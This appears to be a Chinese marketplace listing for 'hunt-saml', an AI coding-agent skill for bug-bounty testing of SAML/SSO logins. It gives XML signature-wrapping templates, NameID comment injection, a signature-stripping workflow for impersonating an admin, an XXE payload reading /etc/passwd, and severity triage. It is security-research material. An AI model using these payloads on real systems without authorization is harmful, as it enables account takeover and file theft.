mcpField
H
hunt-saml

hunt-saml

github.com/elementalsouls安全5.3k275 次安装今天更新
代码仓库

关于 hunt-saml

hunt-saml 是用于评估 SAML 和 SSO 实现的安全测试技能,面向安全研究人员,涵盖攻击方法、测试流程、工具及漏洞严重性判断。

主要功能

  1. 01发现 SAML 端点
  2. 02测试 XML 签名包装
  3. 03签名剥离测试流程
  4. 04检查 XXE 与 NameID
  5. 05漏洞严重性判断

适用场景

  1. 01评估 SAML 登录流程
  2. 02测试断言签名验证
  3. 03检查 NameID 处理与 XXE
  4. 04确定已确认 SSO 问题的优先级

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-saml

安装后在 Claude Code 中输入/hunt-saml确认已加载。

详细介绍

20. SAML / SSO 攻击

SSO 漏洞的赏金经常达到 High–Critical。XML 解析器的行为出了名地不一致。

攻击面
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
攻击 1:XML 签名包装(XSW)

<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature></ds:Signature>
  </saml:Assertion>
</saml:Response>


<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>  
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature></ds:Signature>
  </saml:Assertion>
</saml:Response>
攻击 2:在 NameID 中注入注释

<NameID>[email protected]</NameID>



攻击 3:剥离签名
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
攻击 4:SAML 断言中的 XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>
攻击 5:操纵 NameID
Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
工具
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml  # Re-encode
# URL-encode the result before sending as SAMLResponse parameter
SAML 分诊
XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)

相关技能与攻击链

  • hunt-ato — 缺少受众限制验证的 SAML XSW,是冒充管理员的 SP 攻击链的典型案例。攻击链原语:XSW1 攻击将已签名断言移到次要位置 + 在主要位置注入 [email protected] 的恶意断言 + SP 处理第一个断言(恶意断言)+ SP 不验证 <AudienceRestriction>,因此接受原本发给 IdP-A 的断言 → 跨联邦租户边界实现管理员 ATO。
  • hunt-auth-bypass — SAML 签名剥离是教科书式的认证绕过模式;此技能提供 SAML 机制,hunt-auth-bypass 提供更全面的绕过方法。攻击链原语:捕获有效的 SAMLResponse → 用正则表达式彻底删除 <ds:Signature> 元素 → 将 <NameID> 修改为 admin → 重新编码为 base64 → POST 到 /saml/acs → SP 的 wantAssertionsSigned=false 设置使其静默接受 → 无需任何加密质询即可签发管理员会话。
  • hunt-oauth — 由 SAML 前置的 OAuth 发行方会将断言级漏洞转化为令牌级 ATO。攻击链原语:SP 在验证 SAML 断言后签发 OAuth bearer token + XSW 将 NameID 修改为 admin → SP 的令牌端点签发携带管理员声明的 OAuth 令牌 → 所有下游 OAuth 作用域 API(管理员 API、账单 API、用户管理 API)都会凭单个伪造断言授予管理员访问权限。
  • hunt-xxe — SAML 断言本身就是 XML;断言解析器中的 XXE 是叠加在 XSW 之上的另一条攻击链。攻击链原语:SAML 解析器未设置 disallow-doctype-decl + 断言中包含 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> + <NameID>&xxe;</NameID> → SP 渲染或记录 NameID → /etc/passwd 内容通过错误响应或审计日志泄露 → 可读取 SAML SP 基础设施上的文件。
  • security-arsenal — 获取 SAML/XSW 负载目录(XSW1-XSW8 模板、针对 libxml/Xerces/MSXML 解析器差异的注释注入变体、包含多个 Reference 元素的签名包装、攻击者 IdP 签名的断言被轻信信任的 SP 接受时使用的密钥混淆负载),以及“在错误端点接受 SAMLResponse”这类实际并未通过验证的说法对应的始终拒绝列表。
  • triage-validation — 如果某个 SAML“漏洞”只修改与安全无关的属性(显示名称、区域设置),而未更改 NameID、AuthnContext 或承载角色的 AttributeStatements,请先运行严重性判定前置关卡,再将其定为 Critical。未跨越授权边界的理论性 XML 操纵属于 Informational,而非 Critical——改变认证决策的步骤才是判定关卡。

评论

支持 Markdown